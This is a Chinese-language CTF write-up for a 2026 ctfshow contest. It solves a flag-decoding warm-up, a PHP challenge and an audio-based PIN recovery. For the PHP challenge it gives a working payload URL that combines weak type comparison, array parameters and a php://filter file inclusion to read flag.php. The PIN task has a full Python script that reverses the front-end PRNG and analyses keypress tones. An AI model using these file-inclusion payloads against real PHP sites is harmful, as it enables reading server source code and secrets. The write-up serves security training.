2026 ctfshow 新年赛
2026-08-22 20:05:38

热身签到

1
2
3
4
5
6
7
8
s = '54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568'

# 每两个字符一组,转为整数再转为字符,拼接成 hex 字符串
hex_str = ''.join(chr(int(s[i:i+2])) for i in range(0, len(s), 2))

# 将 hex 字符串解码为原始字节并转为字符串
flag = bytes.fromhex(hex_str).decode()
print('Flag:', flag)

ctfshow{happy_2026_with_cs2026!}

happy2026

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);

$happy = $_GET['happy'];
$new = $_GET['new'];
$year = $_GET['year'];

if($year==2026 && $year!==2026 && is_numeric($year)){
include $happy[$new[$year]];
}

Step1:绕过 if 条件判断

条件要求同时满足三个条件:

条件 含义 绕过方式
$year == 2026 松散比较等于 2026 字符串 "2026"与整数 2026

松散比较为 true
$year !== 2026 严格比较不等于 2026 字符串 "2026"与整数 2026

类型不同,严格比较为 true
is_numeric($year) 必须是数字 字符串 "2026"

是合法数字字符串,返回 true

PHP 弱类型比较

GET 参数默认为字符串类型,所以传入 year=2026 时,$year 的值为字符串 "2026"

  • "2026" == 2026true(松散比较会进行类型转换)
  • "2026" !== 2026true(严格比较要求类型和值都相同,字符串 ≠ 整数)
  • is_numeric("2026")true

三个条件全部满足,成功进入if分支

Step2:控制文件包含路径

进入 if 后执行:

1
include $happy[$new[$year]];

这里 $happy$new 都是通过 GET 传入的,可以用 PHP 数组传参的方式控制:

  1. $year = "2026"
  2. 传入 new[2026]=a,则 $new[$year] = $new["2026"] = "a"
  3. 传入 happy[a]=目标文件,则 $happy[$new[$year]] = $happy["a"] = 目标文件

最终 include 的就是我们指定的文件路径。

Step3:利用 php://filter 读取 flag

使用 php://filter 伪协议以 base64 编码方式读取文件内容,避免 PHP 代码被执行而无法看到源码:

1
happy[a]=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

paylord

1
https://145f47cc-c14f-4610-8f8f-9785636cb44c.challenge.ctf.show/?year=2026&new[2026]=a&happy[a]=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

返回的 base64 内容:

1
PD9waHAgJGZsYWc9J2N0ZnNob3d7NGUyNWQyMGYtYTFlYy00YjQ3LWJkZmUtYmJmOTM3ZGQyZjU2fSc7Cg==

解码后:

1
<?php $flag='ctfshow{4e25d20f-a1ec-4b47-bdfe-bbf937dd2f56}';
1
ctfshow{4e25d20f-a1ec-4b47-bdfe-bbf937dd2f56}

SafePIN

高等级身份验证识别系统,一个Web的系统,一个Misc的音频分析。

已经拦截了嫌疑人的密码音频 record.wav,需要还原最终 6 位 PIN。

阅读js代码,可以获得这些信息:

1. 会话初始化

页面加载时依次请求:

  • /init.php — 初始化会话,获取 Cookie(CID + CID_SIG
  • /seed.php — 获取当前会话的 seedtokenrecord_url

2. 数字到音色的映射

每个数字 0-9 通过 permute_0_9(seed) 函数映射到一个 soundId(0-9):

1
2
3
4
5
6
7
8
9
10
async function permute_0_9(seed){
const a = [...Array(10).keys()]; // [0,1,2,...,9]
let x = await prng_u32(seed, "perm");
for(let i=9; i>=1; i--){
x = (Math.imul(x, 1664525) + 1013904223) >>> 0;
const j = x % (i+1);
[a[i], a[j]] = [a[j], a[i]];
}
return a; // map[digit] = soundId
}

其中 prng_u32(seed, tag) 是对 SHA256(seed + "|" + tag) 取前 8 个 hex 字符转为小端序 uint32。

3. 音色参数生成

每个 soundId 对应不同的基频:

1
2
3
4
5
6
async function soundParams(seed, soundId){
const x = await prng_u32(seed, "p" + soundId);
const base = 1050 + soundId * 23 + (((x & 0xff) - 128) * 0.35);
// ...
return {base, dur, pre, atk, click, pan, soundId};
}

关键点:每个 soundId 的基频 base 是可以通过 seed 精确计算的。

4. 特殊按键

  • soundId = 10 → Cancel(清空已输入的 PIN)
  • soundId = 11 → Enter(提交 PIN)

5. 验证接口

POST /check.php,body 为 {"pin": "xxxxxx"},正确返回 flag。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# 1. 在同一个 HTTP Session 中完成 init → seed → 下载 record.wav
# 2. 用 seed 计算 digit → soundId 映射和每个 soundId 的基频
# 3. 对 record.wav 做 FFT 频率分析,识别每个按键音对应的 soundId
# 4. 通过反向映射 soundId → digit,还原 PIN 码
# 5. 注意处理 Cancel(清空)和 Enter(提交)操作
# 6. 提交 PIN 获取 flag

import hashlib, struct, wave, numpy as np, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE = "https://xxxxx.challenge.ctf.show"
s = requests.Session()
s.verify = False

# Step 1: 初始化会话 + 获取 seed
s.get(f"{BASE}/init.php")
seed_data = s.get(f"{BASE}/seed.php").json()
SEED = seed_data["seed"]

# Step 2: 下载 record.wav
wav_bytes = s.get(f"{BASE}{seed_data['record_url']}").content
with open("record.wav", "wb") as f:
f.write(wav_bytes)

# Step 3: 复现前端加密逻辑
def u32_from_hex8(h8):
return struct.unpack('<I', bytes.fromhex(h8))[0]

def prng_u32(seed, tag):
return u32_from_hex8(hashlib.sha256((seed + "|" + tag).encode()).hexdigest()[:8])

def permute_0_9(seed):
a = list(range(10))
x = prng_u32(seed, "perm")
for i in range(9, 0, -1):
x = (x * 1664525 + 1013904223) & 0xFFFFFFFF
j = x % (i + 1)
a[i], a[j] = a[j], a[i]
return a

def sound_freq(seed, sid):
x = prng_u32(seed, "p" + str(sid))
return 1050 + sid * 23 + (((x & 0xff) - 128) * 0.35)

mapping = permute_0_9(SEED) # map[digit] = soundId
reverse_map = {sid: d for d, sid in enumerate(mapping)}
freqs = {sid: sound_freq(SEED, sid) for sid in range(12)}

# Step 4: FFT 分析音频
with wave.open("record.wav", "rb") as wf:
sr = wf.getframerate()
raw = wf.readframes(wf.getnframes())
ch = wf.getnchannels()

data = np.frombuffer(raw, dtype=np.int16).astype(np.float64)
if ch == 2:
data = (data[0::2] + data[1::2]) / 2 # 转单声道

# 能量检测分段
frame_len = int(sr * 0.01)
energy = np.array([np.sum(data[i:i+frame_len]**2)
for i in range(0, len(data)-frame_len, frame_len)])
threshold = np.max(energy) * 0.05

segments = []
start = None
for i, v in enumerate(energy > threshold):
if v and start is None: start = i
elif not v and start is not None:
segments.append((start * frame_len, i * frame_len))
start = None

# 合并相近片段
merged = []
for seg_s, seg_e in segments:
if merged and seg_s - merged[-1][1] < sr * 0.05:
merged[-1] = (merged[-1][0], seg_e)
else:
merged.append((seg_s, seg_e))

# Step 5: 频率匹配 → soundId → digit
detected = []
for seg_s, seg_e in merged:
seg = data[seg_s:seg_e]
if len(seg) < 256: continue
nfft = max(len(seg) * 4, 8192)
fft_vals = np.abs(np.fft.rfft(seg, n=nfft))
fft_freqs = np.fft.rfftfreq(nfft, 1.0 / sr)
mask = (fft_freqs >= 900) & (fft_freqs <= 1500)
peak_freq = fft_freqs[mask][np.argmax(fft_vals[mask])]
best_sid = min(range(12), key=lambda sid: abs(freqs[sid] - peak_freq))
detected.append(best_sid)

# Step 6: 模拟键盘操作(处理 Cancel 清空)
pin = ""
for sid in detected:
if sid == 10: # Cancel → 清空
pin = ""
elif sid == 11: # Enter → 提交
pass
else:
pin += str(reverse_map[sid])

# Step 7: 提交 PIN
r = s.post(f"{BASE}/check.php", json={"pin": pin})
print(r.json())

音频分析结果示例

以某次会话为例,record.wav 中检测到 11 个音段:

# 时间 主频率 soundId 操作
0 0.220s 1242.9Hz 9 digit=8
1 0.380s 1128.1Hz 5 digit=6
2 0.550s 1059.4Hz 1 digit=2
3 0.710s 1257.1Hz 10 CANCEL
4 0.900s 1260.7Hz 8 digit=4
5 1.060s 1260.7Hz 8 digit=4
6 1.220s 1121.9Hz 2 digit=7
7 1.390s 1128.1Hz 5 digit=6
8 1.550s 1242.9Hz 9 digit=8
9 1.710s 1231.2Hz 7 digit=5
10 1.870s 1289.3Hz 11 ENTER

操作模拟:

  1. 输入 862 → 被 CANCEL 清空
  2. 输入 447685 → ENTER 提交
  3. 最终 PIN = 447685
1
ctfshow{298886a8-c9e7-4dd0-aa84-568de814bc27}
上一页
2026-08-22 20:05:38
下一页